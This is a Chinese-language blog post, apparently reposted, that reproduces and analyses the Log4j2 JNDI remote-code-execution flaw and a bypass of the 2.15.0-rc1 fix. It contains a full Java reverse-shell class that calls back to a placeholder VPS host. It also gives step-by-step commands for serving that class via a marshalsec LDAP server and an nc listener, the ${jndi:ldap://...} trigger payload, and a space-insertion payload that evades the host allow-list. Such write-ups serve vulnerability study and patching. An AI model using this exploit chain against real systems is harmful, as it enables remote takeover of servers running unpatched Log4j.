Log4j2

Log4j2,第1张

Log4j2 Log4j2_RCE漏洞

前端时间爆出的Log4j2_RCE漏洞可谓是让安全圈提前过年,今天来复现和简单分析下这个漏洞!

漏洞复现

IDEA创建一个web项目,导入如下依赖


    
        org.apache.logging.log4j
        log4j-core
        2.12.0
    

    
        org.apache.logging.log4j
        log4j-api
        2.12.0
    

编写恶意类放到 vps 上


import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JNDIObject {
    static {
        try{
            String ip = "your-vps-ip";
            String port = "443";
            String py_path = null;
            String[] cmd;
            if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
                String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
                for(int i = 0; i < py_envs.length; ++i) {
                    String py = py_envs[i];
                    if ((new File(py)).exists()) {
                        py_path = py;
                        break;
                    }
                }
                if (py_path != null) {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn("/bin/bash")"};
                    } else {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn("/bin/sh")"};
                    }
                } else {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{"/bin/bash"};
                    } else {
                        cmd = new String[]{"/bin/sh"};
                    }
                }
            } else {
                cmd = new String[]{"cmd.exe"};
            }
            Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
            Socket s = new Socket(ip, Integer.parseInt(port));
            InputStream pi = p.getInputStream();
            InputStream pe = p.getErrorStream();
            InputStream si = s.getInputStream();
            OutputStream po = p.getOutputStream();
            OutputStream so = s.getOutputStream();
            while(!s.isClosed()) {
                while(pi.available() > 0) {
                    so.write(pi.read());
                }
                while(pe.available() > 0) {
                    so.write(pe.read());
                }
                while(si.available() > 0) {
                    po.write(si.read());
                }
                so.flush();
                po.flush();
                Thread.sleep(50L);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {
                }
            }
            p.destroy();
            s.close();
        }catch (Throwable e){
            e.printStackTrace();
        }
    }
}
  1. 使用 javac -source 1.5 -target 1.5 JNDIObject.java 兼容性编译恶意类

  2. 用 python3 -m http.server 80 命令以恶意类所在目录为根目录开启一个web服务

  3. 再用 java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 8080 命令在 vps 上开启 JNDI 服务

  4. 用 nc -lvnp 443 命令在 vps 上监听443端口

  5. 最后在本机上运行如下代码即可反d shell

    package com.sec.example;
    
    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    import sun.applet.Main;
    
    public class log4j {
        private static Logger LOG=LogManager.getLogger(Main.class);
        public static void main(String[] args) {
            LOG.error("aaa${jndi:ldap://your-vps-ip:8080/JNDIObject}");
        }
    }
    
漏洞分析

在 PatternLayout$PatternSerializer#toSerializable 方法上会循环遍历 formatters 数组里的值,并调用其 format 方法

看一下 formatters 数组的值,漏洞触发点在第八个值上(为MessagePatternConverter),那么程序就会调用MessagePatternConverter#format 方法

在 MessagePatternConverter#format 下断点,程序会停在此方法上,此方法判断日志输出内容是否存在 ${} 结构,如果存在则调用 replace 方法对日志内容进行处理

经过一系列方法调用,来到 StrSubstitutor#substitute 方法,此方法中调用 resolveVariable 方法,此时参数 varName 为 ${} 里的值

跟进 resolveVariable 方法,此时调用 lookup 方法,而参数 variableName 正是日志输出中被 ${} 包裹着的值

下面是函数调用栈

RC1修复绕过

在漏洞出来后,官网发布 2.15.0-rc1 版本进行修复,然而还是被绕过

第一处修复是在 PatternLayout#toSerializable 方法上,formatters 数组的第八个值变为了MessagePatternConverter$SimpleMessagePatternConverter 内部类,那么程序会调用SimpleMessagePatternConverter#format 方法

而 SimpleMessagePatternConverter#format 方法没有解析 ${} 的 *** 作了,变为了拼接 *** 作

研究者发现 MessagePatternConverter$LookupMessagePatternConverter 内部类依然存在解析 ${} *** 作,那么怎么让数组第八个值为 LookupMessagePatternConverter 内部类呢?看到 MessagePatternConverter#newInstance 方法,当用户开启 lookup 功能时(此版本已经默认关闭),数组第八个值则为 LookupMessagePatternConverter 内部类

那么手工开启一下 lookup 然后继续跟进

public class log4j {
    private static Logger LOG=LogManager.getLogger(Main.class);
    public static void main(String[] args) {
        final Configuration config = new DefaultConfigurationBuilder().build(true);
// 配置开启lookup功能
        final MessagePatternConverter converter =
                MessagePatternConverter.newInstance(config, new String[] {"lookups"});
        final Message msg = new ParameterizedMessage("${jndi:ldap://127.0.0.1:8080/ JNDIObject}");
        final LogEvent event = Log4jLogEvent.newBuilder()
                .setLoggerName("MyLogger")
                .setLevel(Level.DEBUG)
                .setMessage(msg).build();
        final StringBuilder sb = new StringBuilder();
        converter.format(event, sb);
        System.out.println(sb);
    }
}

后面的逻辑都没变,跟进到 JndiManager#lookup 方法,此处进行了远程协议和主机等过滤,

主机只允许本地ip,协议允许 java/ldap/ldaps ,那么怎么绕过呢?这一块代码做了 try cache 处理,当报错时会直接 cache 处理然后继续 lookup *** 作,这样只需要构造一个让程序报错,但是在 lookup 时是正常的 jndi 地址。研究者发现空格可以实现这个功能!

public synchronized  T lookup(final String name) throws NamingException {
    try {
        URI uri = new URI(name);
        if (uri.getScheme() != null) {
            if (!this.allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
                return null;
            }

            if ("ldap".equalsIgnoreCase(uri.getScheme()) || "ldaps".equalsIgnoreCase(uri.getScheme())) {
                if (!this.allowedHosts.contains(uri.getHost())) {
                    LOGGER.warn("Attempt to access ldap server not in allowed list");
                    return null;
                }

                Attributes attributes = this.context.getAttributes(name);
                if (attributes != null) {
                    Map attributeMap = new HashMap();
                    NamingEnumeration enumeration = attributes.getAll();

                    Attribute classNameAttr;
                    while(enumeration.hasMore()) {
                        classNameAttr = (Attribute)enumeration.next();
                        attributeMap.put(classNameAttr.getID(), classNameAttr);
                    }

                    classNameAttr = (Attribute)attributeMap.get("javaClassName");
                    if (attributeMap.get("javaSerializedData") != null) {
                        if (classNameAttr == null) {
                            LOGGER.warn("No class name provided for {}", name);
                            return null;
                        }

                        String className = classNameAttr.get().toString();
                        if (!this.allowedClasses.contains(className)) {
                            LOGGER.warn("Deserialization of {} is not allowed", className);
                            return null;
                        }
                    } else if (attributeMap.get("javaReferenceAddress") != null || attributeMap.get("javaFactory") != null) {
                        LOGGER.warn("Referenceable class is not allowed for {}", name);
                        return null;
                    }
                }
            }
        }
    } catch (URISyntaxException var8) {
        LOGGER.warn("Invalid JNDI URI - {}", name);
    }

    return this.context.lookup(name);
}

最终构造如下

public class log4j {
    private static Logger LOG=LogManager.getLogger(Main.class);
    public static void main(String[] args) {
        final Configuration config = new DefaultConfigurationBuilder().build(true);
// 配置开启lookup功能
        final MessagePatternConverter converter =
                MessagePatternConverter.newInstance(config, new String[] {"lookups"});
        final Message msg = new ParameterizedMessage("${jndi:ldap://your-vps-ip:8080/ JNDIObject}");
        final LogEvent event = Log4jLogEvent.newBuilder()
                .setLoggerName("MyLogger")
                .setLevel(Level.DEBUG)
                .setMessage(msg).build();
        final StringBuilder sb = new StringBuilder();
        converter.format(event, sb);
        System.out.println(sb);
    }
}
RC2修复

在 try 捕捉到异常时直接 return 返回了

参考

https://xz.aliyun.com/t/10649#toc-2
https://bbs.ichunqiu.com/thread-62322-1-1.html

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5691497.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-17
下一篇 2022-12-17

发表评论

登录后才能评论

评论列表(0条)

保存